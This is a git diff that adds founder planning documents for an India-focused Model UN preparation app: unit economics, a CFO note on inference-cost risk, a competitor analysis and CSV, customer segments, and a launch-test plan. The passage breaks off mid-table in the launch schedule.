model, which is exactly why it deserves checking. | +| Hosting | **₹1,760/month** ($20 Vercel Pro) | Vercel's own terms: the free Hobby tier is **not licensed for commercial use**. So the first paying customer triggers this cost. | **High on the requirement, medium on the figure** — confirm the current Pro price in the account. | +| Database | ₹0 | Supabase free tier is sufficient at this scale (500MB database, Auth, RLS). It stops being free somewhere around tens of thousands of rows or when the project needs daily backups. | **Medium** — it is free *until it isn't*; the first real growth implies a paid Postgres plan. | +| Domain | ₹83/month (₹1,000/year amortised) | Typical `.app`/`.com` registration | **Medium** — check the actual registrar receipt. | +| Referral commission | **16.72%** of the referred customer's first payment | The product's own schema: `referral_partners.commission_rate numeric(5,2) default 16.72`, applied in the `create_first_referral_commission` RPC. | **High that the rate exists; low that 16.72% is the right rate to model.** See the assumptions below. | + +## The three numbers that are guesses, and what they do + +### 1. Inference per pass: ₹25 (₹7 default path + ₹18 Max) — *the weakest number in the model* + +**Where it comes from:** token ceilings read from the code, not from observed usage. The Quick mode budget is 1,800 output tokens; Max is a 12,000-token class. Using ~2,500 in / 1,200 out for Quick, ~2,500 in / 5,000 out for Thorough, and ~2,500 in / 10,000 out for Max at ₹88/$: + +- one **Quick** request ≈ **₹0.07** +- one **Thorough** request ≈ **₹0.25** +- one **Max** request ≈ **₹13.86 — 191× a Quick request** + +**What the average customer actually does is unknown.** I modelled 30 requests/month at 95% default / 5% Max. If real users skew to Max, this number is wrong by an order of magnitude in the direction that hurts. **The fix is measurement, not modelling:** the app already routes every request through `lib/ai/router.ts`, so per-request token counts and cost can be logged from day one. Until that data exists, treat ₹25 as a placeholder. + +**Worst case the current caps permit:** 300,000 tokens/day at the Max rate ≈ **₹396/day ≈ ₹11,880/month from one ₹299 customer.** 40× the revenue. The caps limit the damage; they do not prevent it. + +### 2. Referral share of sales: 40% of customers arrive via a partner — *affects ₹20 of ₹299* + +The 16.72% rate is real and in the database. What is unmeasurable today is **what fraction of customers come through a partner** — the referral programme exists but has no trading history. At 40% of sales, the amortised cost is ₹20/pass; at 10% it is ₹5; at 100% it is ₹50. The line is ₹20 either way in `numbers.json`, and the swing is ±₹15 of contribution per pass — small against a ₹254 contribution, so **this assumption cannot change the verdict by itself.** Replace it as soon as the first referral commission lands. + +### 3. Ramp: 0.2 passes/day in month 1 rising to 8.5 by month 12 — *this one decides the answer* + +**Where it comes from:** 0 → ~260 active monthly-equivalent subscribers in twelve months. That is not from the panel, not from a funnel, and not from a comparison with any competitor's growth — it is a shape chosen to be *plausible*, and the pack is explicit that assumptions are not facts. + +**What it is grounded in, weakly:** +- India has **71 upcoming MUN conferences** on the mymun calendar for Oct 2026 – 2027, with the season peaking Jan–Mar and Aug–Nov. A conference is the natural purchase trigger, and the pass is week-shaped, which matches how often conferences happen. +- IIMUN alone claims 220+ cities and 7,500–10,000 schools — the addressable population is large. +- The pricing panel (simulated, and disclosed as such) puts an acceptable range at ₹122–₹800 with an indifference point at ₹304, so ₹299 is not obviously mispriced. + +**What it is not grounded in:** any observed conversion rate, any traffic number, any funnel. `/pricing` currently redirects anonymous visitors to sign-in, so there is *no way to measure intent today even if traffic existed.* + +**How much it moves the answer:** the volume swing is well absorbed. Cutting the whole ramp by 60% (to ~3 passes/day by month 12, ~100 subscribers) still gives **₹117,837 year-1 profit at a 78% margin.** The verdict is therefore *not* sensitive to the ramp — which is why this assumption, though it is the biggest guess, is not the biggest risk. **The Max-mode cost path is a far bigger threat to solvency than a slow ramp is.** + +## Deliberately not in the model + +- **Founder's time.** Priced at ₹0. It is not free — it is the real cost of this business, and it does not show up in any table here. +- **Marketing spend.** ₹0 beyond the ₹10,000 launch-test budget. Every rupee of paid acquisition would come out of the ₹254 contribution, and at Indian MUN CPMs a ₹299 price with a 30-day life is a hard place to run paid ads from. Organic and referral only, for now. +- **Refunds, chargebacks, abuse.** Not modelled. UPI disputes are rare but not zero, and a tool that writes position papers will attract some abuse. +- **GST.** Not modelled and **not a call this pack can make.** Digital services to consumers in India may carry a GST obligation with a registration threshold that a bootstrapped solo founder could cross quickly. **Get an accountant before invoicing anyone.** This is the single legal question with the clearest financial consequence. +- **Tax on the profit.** The ₹329,566 year-1 figure is pre-tax operating profit. +- **The x402 bot rail.** $0.05/research and $0.005/content are at or below the inference cost of serving them, and there is no traffic evidence. It is currently a cost centre with a built-in upside; it is not in revenue. + +## Also not in the model: the competitor's ability to undercut + +Model Diplomat is priced at roughly **₹1,060–1,760/month** and already has a free tier of 50 searches/day. It can move to this product's price band at any time without changing its cost structure, and it would arrive with the trust positioning this product does not have. Nothing in `numbers.json` models a price war. **If one starts, the ₹254 contribution is the first casualty, and no sensitivity table above captures that.** diff --git a/founder/cfo.md b/founder/cfo.md new file mode 100644 index 0000000..ad38bb2 --- /dev/null +++ b/founder/cfo.md @@ -0,0 +1,92 @@ +> **Currency:** every figure below is in **Indian rupees**. The tool prints `$` because it was written for a café, not for rupees. Read `$299.00` as ₹299. +> +> **Dates of the inputs:** model prices are the published Z.ai and Moonshot list rates (Sep–Oct 2026); the USD→INR conversion used is **₹88 = $1** (a soft assumption — check the live rate; every inference number moves with it). + +## The CFO's note + +**The margin: 85% contribution, ₹254 per monthly pass.** Price ₹299, less ₹7 of GLM-5.3-Flash inference on the default path, less ₹18 of Kimi K3 inference on the Max path, less ₹20 of amortised referral commission. Fixed costs are ₹1,943/month, so **break-even is about 8 passes a month** — one approximately every four days. This is a very forgiving cost structure. UroPay is a genuine gift here: **zero per-transaction commission** removes the 1.5–3% that would otherwise come off every single sale, and at this volume the flat plan is ₹100/month. + +**The line to watch is not the ramp — it is the mode mix.** I assumed a typical pass-holder makes 30 requests a month, of which ~1.5 are Max. Under that assumption the business is comfortable. But: + +| Kimi K3 ("Max") requests per day | Inference cost/month | Against ₹299 of revenue | +| ---: | ---: | --- | +| 1 | ₹416 | **already a loss of ₹117** | +| 5 | ₹2,079 | loss of ₹1,780 | +| 10 | ₹4,158 | loss of ₹3,859 | +| 25 (the caps allow ~25/day) | ₹10,395 | loss of ₹10,096 | + +A single Kimi K3 request costs **₹13.86 — 191× a Quick request.** One Max user who uses the tool lightly-but-consistently, at one Max request a day, **costs more than they pay.** Modelled with a heavy Max user as the *average* customer, contribution goes to **−₹1,800 per pass (−602%) and the business never reaches break-even at all** — a year-1 loss of ₹25 lakh on ₹4.15 lakh of revenue. That is the only input in this model that can turn a good business into an insolvent one. + +It is also entirely within the founder's control, and it is not being controlled today: **the Quick/Thorough/Max toggle is user-selectable on both plans, and the per-user daily cap (60 requests / 300,000 tokens) is identical on a ₹199 weekly pass and a ₹299 monthly pass.** The caps bound a user's damage to the company at roughly **₹11,880 per month** — 40× what that user paid. Nothing in the system ties the expensive model to the amount of money received. + +**Cash: the founder needs about ₹15,400 to get to self-funding** — ₹15,000 of startup spend (domain/tooling, and the launch test budget) plus the month-1 shortfall. Cumulative cash turns positive in **month 4**. Payback on the startup spend is fast because the fixed base is only ₹1,943/month. + +**The good news, and it is worth stating plainly: this business survives a bad ramp.** At 40% of the planned volume — fewer than 4 passes a day at year end, roughly 100 active subscribers instead of 255 — the margin holds at 78% and year 1 still clears **₹117,837**. Volume risk is well absorbed. Cost risk on the Max path is not. + +**Three ways to improve the margin, each with the number it changes:** + +1. **Put Kimi K3 behind the paid tier, or price it.** Making Max a Monthly-Pass-only feature and capping it (say 20 Max requests per pass, then it falls back to GLM-5.3-Flash) removes the tail entirely: the ₹18 Max line in the base case becomes a hard ceiling instead of an open tap. *Changes: the entire −₹1,800/pass downside scenario.* +2. **Cut the mode toggle to one default and let the server choose.** If 90% of requests run on GLM-5.3-Flash by default, inference per pass falls from ₹25 to roughly **₹8**, lifting contribution from ₹254 to **₹271 (+₹17/pass)**. *Run `--volume`-style what-ifs on the unit cost to see it; the lever is the model, not the price.* +3. **Raise the price.** The buyer panel's acceptable range runs to ₹800 and its indifference point is ₹304, so ₹299 is not the ceiling — it is roughly the **midpoint of what these buyers say they would pay**. Moving the monthly pass to **₹399** adds ₹100 of contribution per pass (+39%) with no change to the cost base. *Run `--price 399`: year-1 profit rises to about ₹468,000.* + +**On the board's conditions about money:** the board set no numeric financial condition — it asked for proof of demand and a plan for distribution, which are the panel's and marketing's jobs, not mine. What I can say is that **the financial structure is not the problem.** On these inputs the business is profitable at a scale a solo founder can plausibly reach, needs almost no capital, and breaks even in month 4. The money question is not *can it work* but *will anyone pay*, and I cannot answer that from a spreadsheet. + +**One caution on the inputs:** the ₹25/pass inference figure is the least solid number here, because nobody has usage data yet — it is built from token-ceiling estimates in the code, not from observed usage. Instrument real usage before trusting it. Of everything in this pack, this is the number to replace with a measurement. + +**Not financial, tax or legal advice.** Get an accountant to check the structure, any GST position on digital services, and how the referral commissions should be treated before money moves. + +--- + +# Unit economics: MUN Prep App — AI preparation workspace for Model UN delegates (India-first). All amounts in Indian rupees (INR); the tool prints '$' where it means rupees. + +Every number below comes from the input file. Nothing is looked up or guessed. + +## One monthly pass (30 days of access) + +| line | per monthly pass (30 days of access) | +| --- | ---: | +| Price | $299.00 | +| NVIDIA inference, GLM-5.3-Flash — ~28 Quick/Thorough requests at $0.15/M in, $0.50/M out | -$7.00 | +| NVIDIA inference, Kimi K3 — ~1.5 Max-mode requests at $3/M in, $15/M out | -$18.00 | +| Referral commission 16.72% of the first payment, amortised across all customers (assumes ~40% arrive via a partner) | -$20.00 | +| **Contribution** (what each monthly pass (30 days of access) leaves to pay the fixed costs) | **$254.00** (85%) | + +## The margin that matters + +Fixed costs: $1,943 a month (Vercel Pro (commercial use is not permitted on the free Hobby tier) $1,760, UroPay Growth plan (flat, up to 50 transactions/month, zero per-transaction commission) $100, Domain name, annualised $83, Supabase free tier $0). + +- **Break-even: 1 monthly pass (30 days of access)s a day.** Below that you lose money every month. +- **Profit margin at your plan** (8 a day): **82%** of every sale, after every cost. + +## Year 1, month by month + +| month | monthly pass (30 days of access)s a day | revenue | profit | cumulative (after $15,000 startup) | +| ---: | ---: | ---: | ---: | ---: | +| 1 | 0 | $1,794 | -$419 | -$15,419 | +| 2 | 0 | $4,216 | $1,638 | -$13,781 | +| 3 | 1 | $7,804 | $4,686 | -$9,094 | +| 4 | 2 | $13,455 | $9,487 | $393 | +| 5 | 2 | $20,362 | $15,354 | $15,747 | +| 6 | 3 | $27,538 | $21,450 | $37,198 | +| 7 | 4 | $35,880 | $28,537 | $65,735 | +| 8 | 5 | $44,850 | $36,157 | $101,892 | +| 9 | 6 | $53,192 | $43,244 | $145,135 | +| 10 | 7 | $61,265 | $50,102 | $195,237 | +| 11 | 8 | $68,800 | $56,502 | $251,739 | +| 12 | 8 | $76,245 | $62,827 | $314,566 | + +- **Year 1 operating profit: $329,566** on $415,401 of revenue. +- After the $15,000 startup spend: $314,566. +- Startup money earned back: month 4. +- Cash you need before it pays for itself: **$15,419**. + +## What if + +| scenario | margin at plan | break-even a day | year 1 profit | +| --- | ---: | ---: | ---: | +| Base plan | 82% | 1 | $329,566 | +| Price -10% | 80% | 1 | $288,026 | +| Volume -20% | 82% | 1 | $258,990 | +| Unit costs +15% | 80% | 1 | $320,188 | + +No red flags in these numbers. They are only as good as the inputs: check every cost against a real quote. diff --git a/founder/competitors.csv b/founder/competitors.csv new file mode 100644 index 0000000..9b8df9c --- /dev/null +++ b/founder/competitors.csv @@ -0,0 +1,14 @@ +name,type,url,location_or_channel,price_of_comparable_item,what_it_sells,positioning_line,rating,review_count,source_date +"Model Diplomat","direct","https://modeldiplomat.com/pricing","Online, global, school bundles available","$20/month or $144/year ($12/mo billed annually). Free tier: 200 searches to start then 50/day. 3-day free trial on Pro.","AI research and drafting for MUN and debate: source-cited research, position papers, memos, speeches, crisis and simulation practice, country profiles and voting records, plus free courses and briefings.","""Walk into committee with the record at your back."" (from their MUN use-case page)","not published","not published","2026-08-28" +"MUN Prep App (this business)","direct","https://mun-ai-app.vercel.app","Online, India-first","₹199/week or ₹299/month. No free tier, no trial.","AI prep workspace: research briefs, country policy profiles, position papers, speeches and POIs, resolution drafting, plus MUN courses, glossary and quizzes.","""Prepare like your committee starts tomorrow."" (own headline)","not published","not published","2026-10-12" +"ChatGPT (free tier)","substitute","https://chatgpt.com","Online, global","₹0","General-purpose AI assistant. Can be prompted into MUN prep with a good prompt; free tier is the default comparison for every delegate.","no MUN-specific positioning","not published","not published","not dated" +"ChatGPT Go","substitute","https://lumichats.com/blog/is-chatgpt-plus-worth-it-for-indian-students","Online, India-localised pricing, UPI supported","₹399/month including GST","India-launched budget AI tier with higher limits than free; positioned at students and regular users.","budget tier for students and regular users","not published","not published","2026-08-11" +"ChatGPT Plus","substitute","https://www.equityresearchindia.com/post/chatgpt-plus-and-pro-pricing-in-india-2026-complete-guide-in-rupees","Online, India-localised pricing","₹1,999/month (GST included)","Flagship consumer AI subscription: Deep Research, Agent Mode, video.","flagship consumer subscription","not published","not published","2026-08-11" +"Free position-paper generators (category)","substitute","https://custom-writing.org/writing-tools/position-paper-generator","Online, SEO-driven","₹0","Free AI position-paper generators, several requiring no login or account at all.","""Free Position Paper Generator: AI-Powered Tool for Students"" (that site's own headline)","not published","not published","2024-04-22" +"MUN prompt packs (docsbot.ai)","substitute","https://docsbot.ai/prompts/education/mun-position-paper","Online, SEO-driven","₹0","Free copy-paste MUN prompts for ChatGPT, Gemini and Claude.","""MUN Position Paper - AI Prompt"" (their headline)","not published","not published","not dated" +"WiseMee","indirect","https://blog.modeldiplomat.com/wisemee-vs-model-diplomat-mun-prep-guide-2026","Online","Free (per a competitor's comparison page)","Free static content library covering MUN fundamentals.","free (described by a competitor, not by WiseMee)","not published","not published","2026-04-23" +"Best Delegate","indirect","https://bestdelegate.com/model-un-india/","Online and in-person training","not verified","Long-running MUN education site, blog and training; a reference content source for the circuit.","no MUN-specific tagline captured","not published","not published","2014-11-16" +"Grammarly","substitute","https://blog.modeldiplomat.com/best-ai-tools-for-mun-delegates-2026","Online","about $12/month billed annually","Writing polish: grammar, style, tone for position papers and operative clauses.","AI writing assistant","not published","not published","2026-04-23" +"QuillBot","substitute","https://blog.modeldiplomat.com/best-ai-tools-for-mun-delegates-2026","Online","about $8.33/month billed annually","Paraphrasing, summarising, citation checking.","paraphrasing and summarising tool","not published","not published","2026-04-23" +"MUN Command (by mymun)","indirect","https://blog.modeldiplomat.com/mun-simulation-software-tools-2026","Online, sold to conference organisers","priced per user per day, not published","In-conference committee management software. Different buyer: the organiser, not the delegate.","described by a competitor as the strongest end-to-end in-conference management system","not published","not published","2026-04-23" +"MUN coaching and training in India","indirect","https://www.cityoneinitiative.com/post/model-un-conference-in-india","In-person and online in India","NOT VERIFIED - open question","Seminars, training sessions and coaching for school and college delegations. The natural incumbent for the delegate's prep hours.","no tagline captured","not published","not published","2021-07-17" diff --git a/founder/competitors.md b/founder/competitors.md new file mode 100644 index 0000000..fe05d03 --- /dev/null +++ b/founder/competitors.md @@ -0,0 +1,99 @@ +# The competition + +Every delegate already solves this problem somehow, usually for ₹0. Sources are public and linked; ratings and review counts are left blank where I could not verify them rather than guessed. Full data: `competitors.csv`. + +## 1. Who is there + +### Direct + +**Model Diplomat** — [modeldiplomat.com](https://modeldiplomat.com/pricing). The category leader and the only true direct competitor I could verify. Purpose-built MUN AI: source-cited research, position papers, memos and speeches, crisis/simulation tools, 193+ country profiles, voting records, plus free courses and daily briefings. Its pricing page states Pro at **$20/month or $144/year** ($12/mo billed annually), with a **free tier: 200 searches to start, then 50/day**, and a 3-day Pro trial. Its MUN positioning line is "Walk into committee with the record at your back." Its own blog claims **58,000+ users** (Sep 2025, [toolai.io](https://www.toolai.io/ai/model-diplomat)), rising to **80,000+** ([Apr 2026](https://blog.modeldiplomat.com/mun-simulation-software-tools-2026)) and **86,000+** ([Apr 2026](https://blog.modeldiplomat.com/best-mun-software-uk-2026-ranked)) — self-reported marketing numbers, not audited, but the trend and the order of magnitude are the point. + +**MUN Prep App** — this business. ₹199/week, ₹299/month, no free tier. + +### Indirect + +- **WiseMee** — free static content library for MUN fundamentals. +- **Best Delegate** — the long-running MUN education site and training business; its [India page](https://bestdelegate.com/model-un-india/) (older, 2014) describes an Indian circuit "exploding with conferences happening every weekend". More a free content competitor for the delegate's attention than a paid one. +- **MUN coaching and training in India** — the real incumbent for the prep hours. I could **not verify current coaching prices** from a public source, so I am not putting a number on it. This is an open question and one of the most important ones in the pack: if a school already pays a coach, the coach either becomes this product's best distribution channel or its strongest competitor. +- **MUN Command (by mymun), ChairMUN, Muncoordinated** — conference *organiser* software (procedure management, resolution drafting). Different buyer, adjacent budget. + +### Substitutes — how delegates solve this without a business + +| Substitute | Price | Why it is dangerous | +|---|---|---| +| **ChatGPT free tier** | ₹0 | Already open in the next tab. With a decent MUN prompt it produces a usable brief, position paper and speech. This is the default option and it costs nothing. | +| **ChatGPT Go / Plus** | ₹399 / ₹1,999 per month | For ₹399 the delegate gets far more than MUN prep. India-localised pricing with UPI support makes it trivially purchasable. | +| **Free position-paper generators** | ₹0 | A whole category of SEO-driven tools, several requiring no login at all ([example](https://custom-writing.org/writing-tools/position-paper-generator)). | +| **Free MUN prompt packs** | ₹0 | [Copy-paste prompts](https://docsbot.ai/prompts/education/mun-position-paper) for ChatGPT, Gemini and Claude. | +| **Grammarly / QuillBot** | ~$12 / ~$8.33 per month | Polish for the writing half of the job. | +| **A friend, a senior, a school club** | ₹0 | The actual status quo for most Indian school delegates. | + +## 2. Price range for the comparable item + +For "AI-assisted MUN preparation, one month of access": + +- Lowest: **₹0** (ChatGPT free, free generators, free prompt packs, WiseMee) +- MUN Prep App: **₹199/week, ₹299/month** +- ChatGPT Go: **₹399/month** +- Free-tier-plus-subscription specialist (Model Diplomat Pro): **$20/month ≈ ₹1,760**, or $12/mo annual ≈ ₹1,060 +- Highest: ChatGPT Plus **₹1,999/month** + +**Median for a paid specialist MUN tool: Model Diplomat at ≈ ₹1,060–1,760/month.** MUN Prep App at ₹299 is roughly **one-fifth to one-sixth** of the specialist leader, and **below** the general-purpose ChatGPT Go tier. The product is the cheapest paid option in the category — and the cheapest option of all is still free. + +## 3. Positioning map (text) + +Two axes that matter to *this* buyer, inferred from the evidence above: **price** (horizontal) and **whether the delegate can trust the facts out loud** (vertical). + +``` + TRUSTWORTHY / CITED + ▲ + │ + Model Diplomat ● │ + (~₹1,060–1,760) │ + │ + WiseMee ● (free, │ + static, cited-less) │ + │ + ◀───────────────────────┼───────────────────────▶ + FREE / CHEAP │ EXPENSIVE + │ + ChatGPT free ● │ + (₹0, fluent, │ + invents citations) │ + │ + Free generators ● │ + │ ChatGPT Go ● (₹399) + MUN Prep App ● (₹199/₹299) ChatGPT Plus ● (₹1,999) + │ + ▼ UNVERIFIED / RISK OF FABRICATION +``` + +**MUN Prep App sits in the cheapest band, in the unverified band.** It is closest to the free substitutes on trust (no retrieval, no citations) while charging money. Model Diplomat occupies the position MUN Prep would want: mid-price, high trust. + +## 4. What their customers complain about + +I could read public pages and pricing, but **I could not read 1–3 star review sets with counts for these tools** — there are no app-store listings and no review corpus with volume for the MUN AI category. Marking that theme **thin** and saying so plainly, as the skill requires, rather than inventing complaints. + +What is defensible without review counts: + +1. **Model Diplomat's model is credit-metered and capped.** Its own pricing page distinguishes free ("daily refill doesn't stack", no citations, no drafting) from Pro ("400 AI searches every month", "buy non-expiring credits"). A delegate who hits the cap mid-conference must buy more. *Theme thin — one source, the vendor's own page.* +2. **The whole category's credibility problem is one a competitor is actively campaigning on.** Model Diplomat's comparison pages repeatedly attack general assistants for invented citations ("Does it invent citations like ChatGPT? No... It cannot cite a document that is not in its index"). That is a public claim that MUN-prep-by-general-model is untrustworthy — aimed squarely at products like MUN Prep App. *Linked, dated 2026-08-28.* +3. **Pricing opacity elsewhere in the category** — the same "best AI tools for MUN" listicle notes of the leader that "pricing is not transparent; users must inquire or sign up for details" ([2026-04-23](https://blog.modeldiplomat.com/best-ai-tools-for-mun-delegates-2026)). MUN Prep App's ₹199/₹299 is clear and low — but currently hidden behind a sign-in, which forfeits that advantage. + +## 5. The gap + +**The gap is real, and it is not "an AI for MUN" — that position is taken.** Three gaps are genuinely open on this evidence: + +1. **A free first experience is table stakes and only one player offers it.** The leader gives 50 free searches a day; MUN Prep App gives none. Everyone offering free is ahead of this product on the only metric that matters at the top of the funnel. +2. **Nobody has built for the Indian circuit specifically.** Every competitor is global and generic in currency, in pricing psychology and in what a delegate actually needs: Indian school delegations, teachers who approve spending, WhatsApp-based club coordination, and the specific conferences on the circuit. The competitor's product is priced at ₹1,060–1,760/month, which is not an Indian school student's pocket money; ₹199 for the week of one conference is a different product shape entirely, and it is unoccupied. +3. **Nobody has indexed current-event facts for Indian MUN committees with verifiable sources**, and the leader's index is a general treaty/UN-vote corpus, not "what is actually being debated in committees on the Indian circuit this season". That is an open and defensible gap — but it must be *built*, not asserted. + +If none of this is pursued, then there is **no gap**: the honest floor case is that MUN Prep App is a cheaper, less trustworthy, less-distributed version of a product that is already free at the entry tier. + +## 6. The threat — who could copy this fastest, and how + +**Model Diplomat**, and it would take them a week. They already have the users, the sources, the trust positioning and the free tier. An India-localised price (₹299/month) plus a school-bundle offer is a pricing-page change for them, and it would remove the only dimension on which MUN Prep App currently wins. Their existing free tier means they can afford to price below this product indefinitely. + +Second-fastest: **anyone with a model API key and a weekend.** There is no retrieval layer, no proprietary dataset and no network effect to copy around — a competent builder can reproduce the feature set from the public pages. + +Third, and the one to watch: **a general model lab shipping an education mode.** That does not compete with this business, it *deletes* it. diff --git a/founder/customer.json b/founder/customer.json new file mode 100644 index 0000000..215f169 --- /dev/null +++ b/founder/customer.json @@ -0,0 +1,38 @@ +{ + "business": "MUN Prep App (AI preparation workspace for Model UN delegates, India-first, ₹199/week or ₹299/month)", + "target": "Model UN delegates in India, 14 to 22, English-medium, preparing for a specific conference date", + "where": "Online, India (tier-1 and tier-2 cities). Bought by the student, a parent, or the school", + "age": [14, 22], + "segments": [ + {"name": "School delegate, parent pays", "share": 0.38, "income": [700000, 2500000]}, + {"name": "College delegate, own pocket money", "share": 0.34, "income": [150000, 700000]}, + {"name": "Circuit regular chasing awards", "share": 0.16, "income": [500000, 1800000]}, + {"name": "Club head or coordinator buying for a group", "share": 0.12, "income": [600000, 2000000]} + ], + "behaviours": [ + {"name": "Already uses ChatGPT for everything", "share": 0.22, "how": "Has ChatGPT (or Gemini) open on their phone for schoolwork and doesn't see why this is different."}, + {"name": "Prepares the night before", "share": 0.20, "how": "Does almost nothing until the last evening, then panics and writes it all in one sitting."}, + {"name": "First conference, no idea what to expect", "share": 0.16, "how": "Has never been in committee, is scared of speaking, and is looking for anything that makes the day survivable."}, + {"name": "Taught by a school MUN coach", "share": 0.14, "how": "The school runs sessions and gives out templates, so they already have a method and a person to ask."}, + {"name": "Award chaser, reads past papers", "share": 0.12, "how": "Studies previous winning material, knows the formats cold, and buys anything that might give an edge."}, + {"name": "Deal hunter", "share": 0.09, "how": "Waits for a discount or a free trial, and will not pay full price for anything on the internet."}, + {"name": "Reads reviews and asks seniors first", "share": 0.07, "how": "Checks whether anyone they know has used it and what they said before spending money."} + ], + "objections": [ + "ChatGPT is free and it's already on my phone", + "299 is a lot of my pocket money", + "I don't trust AI facts in committee, the chair will catch me out", + "I only need this once, the night before the conference", + "My school coach already preps us for free", + "Why should I pay before I've seen if the output is any good?", + "I'll just ask a senior for their old position paper", + "Will my chair penalise me for AI-written work?" + ], + "habits": [ + "your MUN club meets on Saturdays and the conference is three weeks away", + "you write your position paper at 11pm on your phone", + "you have ChatGPT open in another tab while you read this", + "your school already paid about 2500 rupees for your conference registration", + "you are in a WhatsApp group where seniors share their old papers and speeches" + ] +} diff --git a/founder/idea.md b/founder/idea.md new file mode 100644 index 0000000..e917f1a --- /dev/null +++ b/founder/idea.md @@ -0,0 +1,14 @@ +# MUN Prep App (working name; live at mun-ai-app.vercel.app) + +- **What it is:** A web workspace that helps a Model UN delegate do the week's prep before a conference — AI research briefs, country policy profiles, position papers, opening speeches, POIs, rebuttals, and resolution drafting, plus a library of MUN courses, a terminology glossary and quizzes. +- **Who it is for:** Model UN delegates. Primarily Indian school and college students, roughly 14–22, English-medium, who are preparing for a specific conference date. Secondary: MUN club heads, school MUN coordinators, and MUN coaches/trainers who prep delegations. +- **What it sells, at what price:** Two time-boxed passes, sold in Indian rupees through UroPay (UPI): **₹199 for a 7-day Weekly Pass** and **₹299 for a 30-day Monthly Pass**. Both give the same core access — the difference is duration and two monthly extras (longer prep history, multiple committee workspaces, priority model routing, export-ready drafts). There is no free tier and no free trial; the AI workspace requires an active pass. Separately, the app sells machine access to bots/crawlers via x402 microtransactions ($0.05 per AI research call, $0.005 per content call), which is a rounding-error revenue line today. +- **Where and how:** Entirely online, browser-based, no app store. Customers arrive through Google search, MUN Instagram/WhatsApp communities, and a **referral partner programme** (partners get a unique link and **16.72% commission on a referred customer's first purchase**). Delivery is instant: pay by UPI, entitlement activates server-side, access runs for the period bought. +- **Budget and constraints:** The product is already built and deployed (Next.js 16 + Supabase on Vercel, UroPay for payments, NVIDIA NIM models for inference). There is no salary cost — it is a solo founder building in public. The binding constraints are (a) **distribution**: there is no evidence yet of any paying customer, and (b) **inference cost control**: the app exposes a "Max" mode backed by Kimi K3 that costs roughly 150× the default mode per request, with no plan-level cap on how much a ₹199 weekly buyer can burn. + +## What is already decided (do not re-open) + +- Price points: ₹199/week, ₹299/month. Set in `lib/plans.ts`. +- Payment rail: UroPay. Flat monthly fee, **zero per-transaction commission**. Not negotiable in this analysis. +- Usage caps: 60 AI requests/day and 300,000 tokens/day **per user**, regardless of plan. +- GPU/provider: NVIDIA NIM — GLM-5.3-Flash for Quick and Thorough modes, Kimi K3 for Max mode. diff --git a/founder/launch.md b/founder/launch.md new file mode 100644 index 0000000..7970002 --- /dev/null +++ b/founder/launch.md @@ -0,0 +1,117 @@ +# Launch + +**Today is Monday 12 October 2026. Public launch day is Monday 9 November 2026.** Four weeks, and the first two of them are not building — they are finding out whether anyone will actually pay, before any real money goes out. + +The product is already live with real prices and real payments. So this is not a launch from nothing; it is a **relaunch with the two blockers removed** (you can see the price, and you can try it before paying). That is a smaller job than a launch and a bigger one than a copy change. + +## Step 1 — the test, before spending anything + +**The cheapest real test that fits an online subscription: a founding-member offer, paid up front, in front of real delegates.** + +**What goes live:** +- The landing page shows the price and a **free first brief** button. No sign-in wall before either. +- **"Founding 50"** — the first 50 paying customers get **30 days of access for ₹199** (the weekly price). This is a **bonus, not a discount**: ₹199 is above the ₹123 floor where buyers start distrusting quality (`pricing.md`), and the structure says "we're giving you more", not "the price was fake". The price list stays ₹199/week and ₹299/month, unchanged; founding members simply get the month at the week's price. +- The offer is announced **only to people the founder reaches directly** — coordinator conversations, MUN Instagram DMs, the stall at a conference — not to broad traffic. **Broad traffic would make the test unreadable.** + +**The success line, written before running it:** + +> **15 founding members pay ₹199 each within 14 days, from at least 150 delegates reached directly (10% conversion).** + +**Then compare it with the panel.** The panel said 22% — but the panel is simulated and simulated buyers are agreeable, and 22% was a rate among *qualified buyers already answering*, not among cold delegates reached. **10% from cold outreach would be a *better* result than the panel's 22% means in reality.** Write both numbers down side by side and be suspicious of whichever one is more flattering. + +**The decision rule, fixed in advance so the result cannot be argued with:** + +| Result | What it means | What to do | +|---|---|---| +| **15+ paid** | Real buyers confirmed what the panel suggested. | Proceed to launch on 9 November. **Everything below stands.** | +| **5–14 paid** | The offer half-works. The free brief converted some people, but the price or the promise is still costing sales. | Launch anyway, on a smaller plan, and fix what the *reasons* say. Read the DMs from people who tried and did not pay — that is the whole dataset. | +| **Under 5 paid** | **Trust the real buyers over the panel.** The panel was too generous, and the offer is not yet good enough to sell. | **Do not launch.** Go back to `offer.md` and `pricing.md`. The most likely causes, in order: the output is not good enough to be worth paying for, or the trust objection is fatal. | + +**The failure case is the valuable one.** Five real people saying no, with their reasons, is worth more than 40 simulated ones saying yes — and it is far cheaper than finding out after a marketing push. + +## Step 2 — the countdown + +### Week 1 · Mon 12 – Sun 18 Oct — **remove the blockers** *(critical path)* + +Nothing else can start until these ship. + +| Task | Owner | Deadline | +|---|---|---| +| **Show the price to anonymous visitors.** Remove the `/pricing` → `/auth/signin` redirect; put ₹199/₹299 on the landing page. | Founder | **Wed 14 Oct** | +| **Build the free first brief.** One complete Quick-mode brief per account, no card, hard-capped server-side, once per account. Abuse controls already exist. | Founder | **Fri 16 Oct** *(critical path — the whole test depends on this)* | +| Rewrite the refund page in `lib/site-pages.ts` so it matches the actual promise. The current draft says eligibility "depends on the applicable purchase terms", which promises nothing. | Founder | Fri 16 Oct | +| Rewrite the homepage headline off the night-before crammer (0% buy rate) — see `brand.md`. | Founder | Sat 17 Oct | +| **Engage a lawyer on the DPDP/children's-data question** (`ops.md` §6). Not on the critical path for the test, but it must not be a surprise later, and it gates the school channel. | Founder | Fri 16 Oct | +| Book 20 coordinator conversations for the test window. | Founder | Sun 18 Oct | +| Install analytics that emit the four events this plan needs: free-brief start, signup, paid, and per-request token cost. | Founder | Sun 18 Oct | +| Buy the domain and put the brand on it (`brand.md`). | Founder | Sun 18 Oct | + +### Week 2–3 · Mon 19 Oct – Sun 1 Nov — **run the test** *(critical path)* + +| Task | Owner | Deadline | +|---|---|---| +| **"Founding 50" live and announced to direct channels only** | Founder | **Mon 19 Oct** | +| 20 coordinator conversations, 10 of them with schools that have a conference in the Jan–Mar season | Founder | by Fri 23 Oct | +| One conference stall — printed cards with a QR code to the **free brief**, not to the pricing page | Founder | by Sat 31 Oct | +| Instagram: 8 posts from the `marketing.md` hook list, watching saves and shares rather than likes | Founder | through 1 Nov | +| Poll the result daily: paid count, free-brief count, and the reason given by anyone who tried and did not pay | Founder | daily | +| **Close the test and read it against the decision rule above** | Founder | **Sun 1 Nov** | + +### Week 4 · Mon 2 – Sun 8 Nov — **soft open and harden** + +| 